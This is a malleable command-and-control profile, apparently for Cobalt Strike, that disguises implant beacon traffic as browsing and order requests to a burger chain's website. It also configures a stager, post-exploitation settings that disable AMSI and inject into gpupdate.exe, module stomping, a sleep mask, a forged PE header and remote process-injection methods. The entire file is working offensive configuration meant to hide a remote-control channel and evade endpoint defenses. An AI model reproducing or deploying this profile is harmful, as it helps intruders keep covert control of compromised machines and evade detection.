#trevorforget #xx0hcd set sleeptime "30000"; set jitter "20"; set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)"; set dns_idle "8.8.8.8"; set maxdns "235"; #custom cert #https-certificate { # set keystore "your_store_file.store"; # set password "your_store_pass"; #} http-config { # set headers "Server, Content-Type, Cache-Control, Connection"; # header "Content-Type" "text/html;charset=UTF-8"; # header "Connection" "close"; # header "Cache-Control" "max-age=2"; # header "Server" "nginx"; #set "true" if teamserver is behind redirector set trust_x_forwarded_for "false"; } http-get { set uri "/us/ky/louisville/312-s-fourth-st.html"; client { # header "Host" "locations.smashburger.com"; header "Accept" "*/*"; header "Accept-Language" "en-US,en;q=0.5"; header "Referer" "https://locations.smashburger.com/us/ky/louisville.html"; header "Connection" "close"; metadata { base64url; header "Cookie"; } } server { header "Content-Type" "text/html; charset=utf-8"; header "Etag" "\"57507b788e9ddc737aae615d6bcfc875\""; header "Server" "AmazonS3"; header "Last-Modified" "on, 23 Oct 2017 20:50:49 GMT"; header "Vary" "Accept-Encoding"; header "X-Amz-Id-2" "1bGgvQSuG7u4T5qWKlikvJ//uxb9tKkDsbSDOV8YBxhKk64Ij3ygUMxZQ="; header "X-Amz-Request-Id" "AC1346376B07D"; header "Connection" "close"; output { base64url; prepend "Smashburger in 312 S Fourth St Louisville, KY | burgers, sandwiches, shakes"; print; } } } http-post { set uri "/OrderEntryService.asmx/AddOrderLine"; client { # header "Host" "smashburger.alohaorderonline.com"; header "Accept" "*/*"; header "Accept-Language" "en-US,en;q=0.5"; header "X-Requested-With" "XMLHttpRequest"; output { base64url; print; } id { base64url; header "Cookie"; } } server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "application/json; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/7.5"; header "X-AspNet-Version" "4.0.30319"; header "X-Powered-By" "ASP.NET"; header "X-UA-Compatible" "IE=Edge"; header "X-Frame-Options" "SAMEORIGIN"; header "Connection" "close"; output { netbios; prepend "{\"d\":{\"__type\":\"Radiant.Order.Web.Order.CodeFiles.OrderEntryResults.OrderEntryResult\",\"Success\":true,\"Message\":\"\",\"ResultCode\":0,\"Order\":{\"__type\":\"Radiant.Order.Shared.Contracts.ServiceEntities.Order\",\"SiteId\":190,\"OrderId\":20106,\"SubTotalAmount\":3.9900,\"TaxAmount\":0,\"TotalAmount\":3.9900,\"BalanceDueAmount\":3.9900,\"Status\":1,\"NextItemLineNumber\":2,\"SpecialInstructions\":null,\"LineItems\":[{\"ItemLineNumber\":1,\"SalesItemId\":41099,\"Name\":\"Strawberry Shake\",\"Quantity\":1,\"UnitPrice\":3.9900,\"ExtendedPrice\":3.9900,\"NextModifierSequenceNumber\":1,\"SpecialInstructions="; append "&OrderingForCustomerId\":null,\"CheckoutCount\":0,\"VehicleMake\":null,\"VehicleModel\":null,\"VehicleColor\":null,\"OrderType\":1,\"OrderSource\":0,\"Destination\":0,\"ShouldManualRelease\":false,\"SVCAmount\":0,\"TipAmount\":0,\"LoyaltyCardNumber\":null,\"Recipients\":[],\"DeliveryFeeSetFromDeliveryZone\":false,\"PromoId\":0,\"DeliveryFeeTaxApplied\":false,\"PosStatus\":18,\"PosOrderId\":null,\"ReferenceNumber\":null,\"CalculateTaxAndTotalTime\":0,\"ClientSessionID\":\"jdyfu2yh5eqsbhs343phqlct\",\"AddOrderTime\":0,\"ComboItems\":[],\"OrderDiscounts\":[],\"WebSalesGroupLineIds\":[],\"WebSalesGroupLineItemNumbers\":[],\"RecomputedSubTotal\":3.9900,\"CanUpdateOrder\":0,\"Metadata\":{\"ClientPlatform\":null,\"ClientVersion\":null},\"AssignLoyalty\":true,\"Payments\":[],\"NextOrderOfProcessing\":1,\"SiteNotes\":null,\"DiscountTotal\":0,\"ExternalOrderId\":null,\"Comps\":null,\"AppliedComps\":null,\"LoyaltyRewards\":[],\"HasDiscount\":false,\"GetDiscount\":0},\"SessionExpired\":false,\"ItemNotFound\":false,\"ItemNotFoundMessage\":null}}"; print; } } } http-stager { set uri_x86 "/menus.aspx"; set uri_x64 "/Menus.aspx"; client { # header "Host" "smashburger.alohaorderonline.com"; header "Accept" "*/*"; header "Accept-Language" "en-US,en;q=0.5"; header "Referer" "https://locations.smashburger.com/us/ky/louisville/312-s-fourth-st.html"; header "Connection" "close"; } server { header "Cache-Control" "private"; header "Content-Type" "text/html; charset=utf-8"; header "Location" "/Time.aspx"; header "Server" "Microsoft-IIS/7.5"; header "X-AspNet-Version" "4.0.30319"; header "Set-Cookie" "OrderMode=1; path=/"; header "X-Powered-By" "ASP.NET"; header "X-UA-Compatible" "IE=Edge"; header "X-Frame-Options" "SAMEORIGIN"; header "Connection" "close"; output { print; } } } post-ex { set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe"; set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe"; set obfuscate "true"; set smartinject "true"; set amsi_disable "true"; } #use peclone on the dll you want to use, this example uses wwanmm.dll. You can also set the values manually. #don't use 'set image_size_xx' if using 'set module_xx'. During testing it seemed to double the size of my payload causing module stomp to fail, need to test it out more though. stage { set checksum "0"; set compile_time "25 Oct 2016 01:57:23"; set entry_point "170000"; #set image_size_x86 "6586368"; #set image_size_x64 "6586368"; #set name "WWanMM.dll"; set userwx "false"; set cleanup "true"; set sleep_mask "true"; set stomppe "true"; set obfuscate "true"; set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; #obfuscate beacon before sleep. set sleep_mask "true"; #module stomp. Make sure the dll you use is bigger than your payload and test it with post exploit options to make sure everything is working. set module_x86 "wwanmm.dll"; set module_x64 "wwanmm.dll"; transform-x86 { prepend "\x90\x90\x90"; strrep "ReflectiveLoader" ""; strrep "beacon.dll" ""; } transform-x64 { prepend "\x90\x90\x90"; strrep "ReflectiveLoader" ""; strrep "beacon.x64.dll" ""; } #can set a string in the .rdata section of the beacon dll. #adds a zero-terminated string #string "something"; #adds a string 'as-is' #data "something"; #adds a wide (UTF-16LE encoded) string stringw "something"; } #controls process injection behavior process-inject { set allocator "NtMapViewOfSection"; set min_alloc "16700"; set userwx "false"; set startrwx "true"; transform-x86 { prepend "\x90\x90\x90"; } transform-x64 { prepend "\x90\x90\x90"; } execute { CreateThread "ntdll!RtlUserThreadStart"; CreateThread; NtQueueApcThread; CreateRemoteThread; RtlCreateUserThread; } }